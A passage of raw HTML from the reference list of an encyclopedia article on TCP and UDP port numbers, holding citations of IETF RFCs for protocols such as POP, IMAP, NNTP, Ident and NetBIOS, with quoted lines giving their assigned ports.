(identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0818\">10.17487/RFC0818</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc818\">818</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;the specific service of User Telnet may be accessed (on hosts that choose to provide it) by opening a connection to port 107 (153 octal).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=The+Remote+User+Telnet+Service&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1982-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0818&amp;rft.aulast=Postel&amp;rft.aufirst=Jon&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc818%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc937-59\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc937_59-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFButlerPostelChaseGoldberger1985\" class=\"citation cs1\">Butler, M.; <a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a>; Chase, D.; Goldberger, J.; <a href=\"/wiki/Joyce_K._Reynolds\" title=\"Joyce K. Reynolds\">Reynolds, J. K.</a> (February 1985). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc937#page-1\"><i>Post Office Protocol: Version 2</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0937\">10.17487/RFC0937</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc937\">937</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;This protocol assumes a reliable data stream such as provided by TCP or any similar protocol. When TCP is used, the POP2 server listens on port 109&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Post+Office+Protocol%3A+Version+2&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1985-02&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0937&amp;rft.aulast=Butler&amp;rft.aufirst=M.&amp;rft.au=Postel%2C+J.&amp;rft.au=Chase%2C+D.&amp;rft.au=Goldberger%2C+J.&amp;rft.au=Reynolds%2C+J.+K.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc937%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1081-60\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1081_60-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRose1988\" class=\"citation cs1\"><a href=\"/wiki/Marshall_Rose\" title=\"Marshall Rose\">Rose, Marshall</a> (November 1988). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1081\"><i>Post Office Protocol: Version 3</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;2, 13. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1081\">10.17487/RFC1081</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1081\">1081</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;the server host starts the POP3 service by listening on TCP port 110.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Post+Office+Protocol%3A+Version+3&amp;rft.pages=pp.-2%2C+13&amp;rft.pub=IETF&amp;rft.date=1988-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1081&amp;rft.aulast=Rose&amp;rft.aufirst=Marshall&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1081&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1939-61\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1939_61-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMyersRose1996\" class=\"citation cs1\">Myers, John G.; <a href=\"/wiki/Marshall_Rose\" title=\"Marshall Rose\">Rose, Marshall T.</a> (May 1996). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1939\"><i>Post Office Protocol - Version 3</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;3, 19. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1939\">10.17487/RFC1939</a></span>. STD 53.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1939\">1939</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;the server host starts the POP3 service by listening on TCP port 110.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Post+Office+Protocol+-+Version+3&amp;rft.pages=pp.-3%2C+19&amp;rft.pub=IETF&amp;rft.date=1996-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1939&amp;rft.aulast=Myers&amp;rft.aufirst=John+G.&amp;rft.au=Rose%2C+Marshall+T.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1939&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1413-62\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1413_62-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSt._Johns1993\" class=\"citation cs1\">St. Johns, Michael C. (February 1993). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1413#section-2\">\"Overview\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1413\"><i>Identification Protocol</i></a>. Acknowledgement is given to Dan Bernstein in section 7, \"Acknowledgements\", page 8. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;113.&#160;sec.&#160;2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1413\">10.17487/RFC1413</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1413\">1413</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;The Identification Protocol (a.k.a., \"ident\", a.k.a., \"the Ident Protocol\")&#160;...&#160;listens for TCP connections on TCP port 113 (decimal).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Overview&amp;rft.btitle=Identification+Protocol&amp;rft.pages=p.-113.-sec.-2&amp;rft.pub=IETF&amp;rft.date=1993-02&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1413&amp;rft.aulast=St.+Johns&amp;rft.aufirst=Michael+C.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1413%26%23035%3Bsection-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc931-63\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc931_63-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFSt._Johns1985\" class=\"citation cs1\">St. Johns, Michael C. (January 1985). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc931#page-1\"><i>Authentication Server</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0931\">10.17487/RFC0931</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc931\">931</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;The Authentication Server Protocol provides a means to determine the identity of a user of a particular TCP connection.&#160;...&#160;A server listens for TCP connections on TCP port 113 (decimal).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Authentication+Server&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1985-01&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0931&amp;rft.aulast=St.+Johns&amp;rft.aufirst=Michael+C.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc931%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc913-64\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc913_64-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFLottor1984\" class=\"citation cs1\">Lottor, Mark K. (September 1984).  <a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, Jon</a> (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc913#page-1\"><i>Simple File Transfer Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0931\">10.17487/RFC0931</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc913\">913</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;SFTP is used by opening a TCP connection to the remote hosts' SFTP port (115 decimal).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Simple+File+Transfer+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1984-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0931&amp;rft.aulast=Lottor&amp;rft.aufirst=Mark+K.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc913%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc977-65\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc977_65-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKantorLapsley1986\" class=\"citation cs1\"><a href=\"/wiki/Brian_Kantor\" class=\"mw-redirect\" title=\"Brian Kantor\">Kantor, Brian</a>; <a href=\"/wiki/Phil_Lapsley\" title=\"Phil Lapsley\">Lapsley, Phil</a> (February 1986). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc977\"><i>Network News Transfer Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;5, 20–23. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0977\">10.17487/RFC0977</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc977\">977</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;NNTP specifies a protocol for the distribution, inquiry, retrieval, and posting of news articles&#160;...&#160;When used via Internet TCP, the contact port assigned for this service is 119.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Network+News+Transfer+Protocol&amp;rft.pages=pp.-5%2C+20-23&amp;rft.pub=IETF&amp;rft.date=1986-02&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0977&amp;rft.aulast=Kantor&amp;rft.aufirst=Brian&amp;rft.au=Lapsley%2C+Phil&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc977&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc3977-66\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc3977_66-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFFeather2006\" class=\"citation cs1\">Feather, Clive D.W. (October 2006). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3977#section-3.4.1\">\"Reading and Transit Servers\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3977\"><i>Network News Transfer Protocol (NNTP)</i></a>. Acknowledgements to NNTP Working Group (Russ Allbery, <a href=\"/wiki/Ned_Freed\" title=\"Ned Freed\">Ned Freed</a>), <a href=\"/wiki/Brian_Kantor\" class=\"mw-redirect\" title=\"Brian Kantor\">Brian Kantor</a>, <a href=\"/wiki/Phil_Lapsley\" title=\"Phil Lapsley\">Phil Lapsley</a> et al.) in section 13, \"Acknowledgements\", pages 107–109. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;21.&#160;sec.&#160;3.4.1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC3977\">10.17487/RFC3977</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3977\">3977</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;Network News Transfer Protocol (NNTP)&#160;...&#160;is used for the distribution, inquiry, retrieval, and posting of Netnews articles using a reliable stream-based mechanism.&#160;...&#160;The official TCP port for the NNTP service is 119.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Reading+and+Transit+Servers&amp;rft.btitle=Network+News+Transfer+Protocol+%28NNTP%29&amp;rft.pages=p.-21.-sec.-3.4.1&amp;rft.pub=IETF&amp;rft.date=2006-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC3977&amp;rft.aulast=Feather&amp;rft.aufirst=Clive+D.W.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc3977%26%23035%3Bsection-3.4.1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-67\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-67\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://msdn2.microsoft.com/en-us/library/ms691207(VS.85).aspx\">\"COM Fundamentals - Guide - COM Clients and Servers - Inter-Object Communications - Microsoft RPC\"</a>. microsoft.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=COM+Fundamentals+-+Guide+-+COM+Clients+and+Servers+-+Inter-Object+Communications+-+Microsoft+RPC&amp;rft.pub=microsoft.com&amp;rft_id=http%3A%2F%2Fmsdn2.microsoft.com%2Fen-us%2Flibrary%2Fms691207%28VS.85%29.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1001-68\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc1001_68-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc1001_68-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-rfc1001_68-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFNetBIOS_Working_Group1987\" class=\"citation cs1\">NetBIOS Working Group (March 1987). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1001\"><i>Protocol standard for a NetBIOS service on a TCP/UDP transport: Concepts and methods</i></a>. Acknowledgements to <a href=\"/wiki/Internet_Activities_Board\" class=\"mw-redirect\" title=\"Internet Activities Board\">Internet Activities Board</a>'s End-to-End Services Task Force et al. in section 2, \"Acknowledgements\", page 6. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1001\">10.17487/RFC1001</a></span>. STD 19.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1001\">1001</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Protocol+standard+for+a+NetBIOS+service+on+a+TCP%2FUDP+transport%3A+Concepts+and+methods&amp;rft.pub=IETF&amp;rft.date=1987-03&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1001&amp;rft.au=NetBIOS+Working+Group&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1001&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1002-69\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc1002_69-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc1002_69-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-rfc1002_69-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFNetBIOS_Working_Group1987\" class=\"citation cs1\">NetBIOS Working Group (March 1987). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1002\"><i>Protocol standard for a NetBIOS service on a TCP/UDP transport: Detailed specifications</i></a>. Acknowledgements to <a href=\"/wiki/Internet_Activities_Board\" class=\"mw-redirect\" title=\"Internet Activities Board\">Internet Activities Board</a> in section 2, \"Acknowledgements\", page 4. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1002\">10.17487/RFC1002</a></span>. STD 19.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1002\">1002</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Protocol+standard+for+a+NetBIOS+service+on+a+TCP%2FUDP+transport%3A+Detailed+specifications&amp;rft.pub=IETF&amp;rft.date=1987-03&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1002&amp;rft.au=NetBIOS+Working+Group&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1002&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc3501-70\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc3501_70-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCrispin2003\" class=\"citation cs1\"><a href=\"/wiki/Mark_Crispin\" title=\"Mark Crispin\">Crispin, Mark R.</a> (March 2003). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3501\"><i>INTERNET MESSAGE ACCESS PROTOCOL - VERSION 4rev1</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC3501\">10.17487/RFC3501</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc3501\">3501</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;The Internet Message Access Protocol&#160;...&#160;allows a client to access and manipulate electronic mail messages on a server.&#160;...&#160;The IMAP4rev1 protocol assumes a reliable data stream such as that provided by TCP. When TCP is used, an IMAP4rev1 server listens on port 143.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=INTERNET+MESSAGE+ACCESS+PROTOCOL+-+VERSION+4rev1&amp;rft.pub=IETF&amp;rft.date=2003-03&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC3501&amp;rft.aulast=Crispin&amp;rft.aufirst=Mark+R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc3501&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1068-71\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1068_71-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDeSchonBraden1988\" class=\"citation cs1\">DeSchon, A.; Braden, R. (August 1988). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1068\"><i>Background File Transfer Program (BFTP)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;4, 14, 20, 24. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1068\">10.17487/RFC1068</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1068\">1068</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;The BFTP program&#160;...&#160;can be executed as a remotely-accessible service that can be reached via a Telnet connection to the BFTP well-known port (152).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Background+File+Transfer+Program+%28BFTP%29&amp;rft.pages=pp.-4%2C+14%2C+20%2C+24&amp;rft.pub=IETF&amp;rft.date=1988-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1068&amp;rft.aulast=DeSchon&amp;rft.aufirst=A.&amp;rft.au=Braden%2C+R.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1068&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1028-72\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1028_72-0\">^</a></b></span> 